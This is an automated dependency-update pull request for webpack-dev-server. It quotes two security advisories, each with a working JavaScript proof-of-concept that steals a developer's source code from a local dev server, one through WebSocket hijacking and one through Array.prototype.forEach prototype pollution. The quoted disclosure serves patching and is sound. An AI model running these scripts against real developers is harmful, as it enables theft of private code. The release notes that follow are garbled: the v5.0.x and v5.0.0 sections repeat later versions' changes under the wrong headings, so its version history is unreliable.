Update dependency webpack-dev-server to v5 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
webpack-dev-server	4.15.2 → 5.2.1

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webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser

CVE-2025-30360 / GHSA-9jgg-88mc-972h

More information

Details

Summary

Source code may be stolen when you access a malicious web site with non-Chromium based browser.

Details

The Origin header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.
But webpack-dev-server always allows IP address Origin headers.
https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127
This allows websites that are served on IP addresses to connect WebSocket.
By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.

related commit: webpack/webpack-dev-server@72efaab (note that checkHost function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.

This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.

PoC

1. Download reproduction.zip and extract it
2. Run npm i
3. Run npx webpack-dev-server
4. Open http://{ipaddress}/?target=http://localhost:8080&file=main with a non-Chromium browser (I used Firefox 134.0.1)
5. Edit src/index.js in the extracted directory
6. You can see the content of src/index.js

The script in the POC site is:

window.webpackHotUpdate = (...args) => {
    console.log(...args);
    for (i in args[1]) {
        document.body.innerText = args[1][i].toString() + document.body.innerText
	    console.log(args[1][i])
    }
}

let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
    console.log(event.data);
    if (event.data.match('"type":"ok"')) {
        s = document.createElement('script');
        s.src = `${target}${file}.${currentHash2}.hot-update.js`;
        document.body.appendChild(s)
    }
    r = event.data.match(/"([0-9a-f]{20})"/);
    if (r !== null) {
        currentHash2 = currentHash;
        currentHash = r[1];
        console.log(currentHash, currentHash2);
    }
}

Impact

This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

References

• https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-9jgg-88mc-972h
• https://nvd.nist.gov/vuln/detail/CVE-2025-30360
• https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb
• https://github.com/webpack/webpack-dev-server/commit/d2575ad8dfed9207ed810b5ea0ccf465115a2239
• https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127
• https://github.com/webpack/webpack-dev-server/commit/5c9378bb01276357d7af208a0856ca2163db188e
• https://github.com/advisories/GHSA-9jgg-88mc-972h

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

webpack-dev-server users' source code may be stolen when they access a malicious web site

CVE-2025-30359 / GHSA-4v9v-hfq4-rm2v

More information

Details

Summary

Source code may be stolen when you access a malicious web site.

Details

Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables.
By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.

PoC

1. Download reproduction.zip and extract it
2. Run npm i
3. Run npx webpack-dev-server
4. Open https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/
5. You can see the source code output in the document and the devtools console.

The script in the POC site is:

let moduleList
const onHandlerSet = (handler) => {
  console.log('h', handler)
  moduleList = handler.require.m
}

const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
  callback((handler) => {
    onHandlerSet(handler)
  })
  originalArrayForEach.call(this, callback, thisArg)
  Array.prototype.forEach = originalArrayForEach
}

const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
  console.log(moduleList)
  for (const key in moduleList) {
    const p = document.createElement('p')
    const title = document.createElement('strong')
    title.textContent = key
    const code = document.createElement('code')
    code.textContent = moduleList[key].toString()
    p.append(title, ':', document.createElement('br'), code)
    document.body.appendChild(p)
  }
})
document.head.appendChild(script)

This script uses the function generated by renderRequire.

    // The require function
    function __webpack_require__(moduleId) {
        // Check if module is in cache
        var cachedModule = __webpack_module_cache__[moduleId];
        if (cachedModule !== undefined) {
            return cachedModule.exports;
        }
        // Create a new module (and put it into the cache)
        var module = __webpack_module_cache__[moduleId] = {
            // no module.id needed
            // no module.loaded needed
            exports: {}
        };
        // Execute the module function
        var execOptions = {
            id: moduleId,
            module: module,
            factory: __webpack_modules__[moduleId],
            require: __webpack_require__
        };
        __webpack_require__.i.forEach(function(handler) {
            handler(execOptions);
        });
        module = execOptions.module;
        execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
        // Return the exports of the module
        return module.exports;
    }

Especially, it uses the fact that Array::forEach is called for __webpack_require__.i and execOptions contains __webpack_require__.
It uses prototype pollution against Array::forEach to extract __webpack_require__ reference.

Impact

This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.

Old content

Summary

Source code may be stolen when you use output.iife: false and access a malicious web site.

Details

When output.iife: false is set, some global variables for the webpack runtime are declared on the window object (e.g. __webpack_modules__).
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the window object.
By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.

I pointed out output.iife: false, but if there are other options that makes the webpack runtime variables to be declared on the window object, the same will apply for those cases.

PoC

1. Download reproduction.zip and extract it
2. Run npm i
3. Run npx webpack-dev-server
4. Open https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/
5. Open the devtools console.
6. You can see the content of src/index.js and other scripts loaded.

The script in the POC site is:

const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
    for (const module in window.__webpack_modules__) {
        console.log(`${module}:`, window.__webpack_modules__[module].toString())
    }
})
document.head.appendChild(script)

Impact

This vulnerability can result in the source code to be stolen for users that has output.iife: false option set and uses a predictable port and output path for the entrypoint script.

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

References

• https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-4v9v-hfq4-rm2v
• https://nvd.nist.gov/vuln/detail/CVE-2025-30359
• https://github.com/webpack/webpack-dev-server/commit/5c9378bb01276357d7af208a0856ca2163db188e
• https://github.com/webpack/webpack-dev-server/commit/d2575ad8dfed9207ed810b5ea0ccf465115a2239
• https://github.com/advisories/GHSA-4v9v-hfq4-rm2v

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

webpack/webpack-dev-server (webpack-dev-server)

v5.2.1

Compare Source

Security

• cross-origin requests are not allowed unless allowed by Access-Control-Allow-Origin header
• requests with an IP addresses in the Origin header are not allowed to connect to WebSocket server unless configured by allowedHosts or it different from the Host header

The above changes may make the dev server not work if you relied on such behavior, but unfortunately they carry security risks, so they were considered as fixes.

Bug Fixes

• prevent overlay for errors caught by React error boundaries (#​5431) (8c1abc9)
• take the first network found instead of the last one, this restores the same behavior as 5.0.4 (#​5411) (ffd0b86)

v5.2.0

Compare Source

Features

• added getClientEntry and getClientHotEntry methods to get clients entries (dc642a8)

Bug Fixes

• speed up initial client bundling (145b5d0)

v5.1.0

Compare Source

Features

• add visual progress indicators (a8f40b7)
• added the app option to be Function (by default only with connect compatibility frameworks) (3096148)
• allow the server option to be Function (#​5275) (02a1c6d)
• http2 support for connect and connect compatibility frameworks which support HTTP2 (#​5267) (6509a3f)

Bug Fixes

• check the platform property to determinate the target (#​5269) (c3b532c)
• ipv6 output (#​5270) (06005e7)
• replace rimraf with rm (#​5162) (1a1561f)
• replace default gateway (#​5255) (f5f0902)
• support devServer: false (#​5272) (8b341cb)

5.0.4 (2024-03-19)

Bug Fixes

• security: bump webpack-dev-middleware (#​5112) (aab576a)

5.0.3 (2024-03-12)

Bug Fixes

• types: proxy (#​5101) (6e1aed3)

5.0.2 (2024-02-16)

Bug Fixes

• types (#​5057) (da2c24d)

5.0.1 (2024-02-13)

Bug Fixes

• avoid using eval in client (#​5045) (7681477)
• overlay and require-trusted-types-for (#​5046) (e115436)

v5.0.4

Compare Source

Security

• cross-origin requests are not allowed unless allowed by Access-Control-Allow-Origin header
• requests with an IP addresses in the Origin header are not allowed to connect to WebSocket server unless configured by allowedHosts or it different from the Host header

The above changes may make the dev server not work if you relied on such behavior, but unfortunately they carry security risks, so they were considered as fixes.

Bug Fixes

• prevent overlay for errors caught by React error boundaries (#​5431) (8c1abc9)
• take the first network found instead of the last one, this restores the same behavior as 5.0.4 (#​5411) (ffd0b86)

v5.0.3

Compare Source

Features

• add visual progress indicators (a8f40b7)
• added the app option to be Function (by default only with connect compatibility frameworks) (3096148)
• allow the server option to be Function (#​5275) (02a1c6d)
• http2 support for connect and connect compatibility frameworks which support HTTP2 (#​5267) (6509a3f)

Bug Fixes

• check the platform property to determinate the target (#​5269) (c3b532c)
• ipv6 output (#​5270) (06005e7)
• replace rimraf with rm (#​5162) (1a1561f)
• replace default gateway (#​5255) (f5f0902)
• support devServer: false (#​5272) (8b341cb)

5.0.4 (2024-03-19)

Bug Fixes

• security: bump webpack-dev-middleware (#​5112) (aab576a)

5.0.3 (2024-03-12)

Bug Fixes

• types: proxy (#​5101) (6e1aed3)

5.0.2 (2024-02-16)

Bug Fixes

• types (#​5057) (da2c24d)

5.0.1 (2024-02-13)

Bug Fixes

• avoid using eval in client (#​5045) (7681477)
• overlay and require-trusted-types-for (#​5046) (e115436)

v5.0.2

Compare Source

Features

• add visual progress indicators (a8f40b7)
• added the app option to be Function (by default only with connect compatibility frameworks) (3096148)
• allow the server option to be Function (#​5275) (02a1c6d)
• http2 support for connect and connect compatibility frameworks which support HTTP2 (#​5267) (6509a3f)

Bug Fixes

• check the platform property to determinate the target (#​5269) (c3b532c)
• ipv6 output (#​5270) (06005e7)
• replace rimraf with rm (#​5162) (1a1561f)
• replace default gateway (#​5255) (f5f0902)
• support devServer: false (#​5272) (8b341cb)

5.0.4 (2024-03-19)

Bug Fixes

• security: bump webpack-dev-middleware (#​5112) (aab576a)

5.0.3 (2024-03-12)

Bug Fixes

• types: proxy (#​5101) (6e1aed3)

5.0.2 (2024-02-16)

Bug Fixes

• types (#​5057) (da2c24d)

5.0.1 (2024-02-13)

Bug Fixes

• avoid using eval in client (#​5045) (7681477)
• overlay and require-trusted-types-for (#​5046) (e115436)

v5.0.1

Compare Source

Features

• add visual progress indicators (a8f40b7)
• added the app option to be Function (by default only with connect compatibility frameworks) (3096148)
• allow the server option to be Function (#​5275) (02a1c6d)
• http2 support for connect and connect compatibility frameworks which support HTTP2 (#​5267) (6509a3f)

Bug Fixes

• check the platform property to determinate the target (#​5269) (c3b532c)
• ipv6 output (#​5270) (06005e7)
• replace rimraf with rm (#​5162) (1a1561f)
• replace default gateway (#​5255) (f5f0902)
• support devServer: false (#​5272) (8b341cb)

5.0.4 (2024-03-19)

Bug Fixes

• security: bump webpack-dev-middleware (#​5112) (aab576a)

5.0.3 (2024-03-12)

Bug Fixes

• types: proxy (#​5101) (6e1aed3)

5.0.2 (2024-02-16)

Bug Fixes

• types (#​5057) (da2c24d)

5.0.1 (2024-02-13)

Bug Fixes

• avoid using eval in client (#​5045) (7681477)
• overlay and require-trusted-types-for (#​5046) (e115436)

v5.0.0

Compare Source

Features

• add visual progress indicators (a8f40b7)
• added the app option to be Function (by default only with connect compatibility frameworks) (3096148)
• allow the server option to be Function (#​5275) (02a1c6d)
• http2 support for connect and connect compatibility frameworks which support HTTP2 (#​5267) (6509a3f)

Bug Fixes

• check the platform property to determinate the target (#​5269) (c3b532c)
• ipv6 output (#​5270) (06005e7)
• replace rimraf with rm (#​5162) (1a1561f)
• replace default gateway (#​5255) (f5f0902)
• support devServer: false (#​5272) (8b341cb)

5.0.4 (2024-03-19)

Bug Fixes

• security: bump webpack-dev-middleware (#​5112) (aab576a)

5.0.3 (2024-03-12)

Bug Fixes

• types: proxy (#​5101) (6e1aed3)

5.0.2 (2024-02-16)

Bug Fixes

• types (#​5057) (da2c24d)

5.0.1 (2024-02-13)

Bug Fixes

• avoid using eval in client (#​5045) (7681477)
• overlay and require-trusted-types-for (#​5046) (e115436)

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